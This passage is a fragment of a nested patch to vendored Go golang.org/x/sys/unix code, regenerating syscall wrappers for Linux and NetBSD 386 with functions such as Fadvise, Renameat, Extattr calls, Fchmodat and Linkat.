--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1195,8 +72,8 @@ func Mlockall(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1205,15 +82,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1222,8 +92,8 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1232,18 +102,13 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1273,7 +138,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1281,7 +146,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1289,7 +154,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1307,7 +172,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1409,6 +274,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seek(fd int, offset int64, whence int) (off int64, err error) {
- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
- off = int64(r0)
-@@ -1442,8 +327,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1452,8 +338,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1778,6 +665,21 @@ func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int6
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -1803,8 +705,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1813,8 +720,8 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go
-index db99fd0c..3bbd9e39 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_386.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -netbsd -tags netbsd,386 syscall_bsd.go syscall_netbsd.go syscall_netbsd_386.go
-+// go run mksyscall.go -l32 -netbsd -tags netbsd,386 syscall_bsd.go syscall_netbsd.go syscall_netbsd_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build netbsd,386
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -378,7 +362,7 @@ func pipe() (fd1 int, fd2 int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -395,6 +379,49 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -526,6 +553,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -533,6 +570,245 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ExtattrGetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFd(fd int, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFd(fd int, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FD, uintptr(fd), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFile(file string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFile(file string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteLink(link string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListLink(link string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall9(SYS_POSIX_FADVISE, uintptr(fd), 0, uintptr(offset), uintptr(offset>>32), 0, uintptr(length), uintptr(length>>32), uintptr(advice), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -563,6 +839,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -573,6 +864,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -604,6 +910,31 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatvfs1(fd int, buf *Statvfs_t, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATVFS1, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -807,6 +1138,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -847,6 +1198,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -862,6 +1228,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -877,6 +1258,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
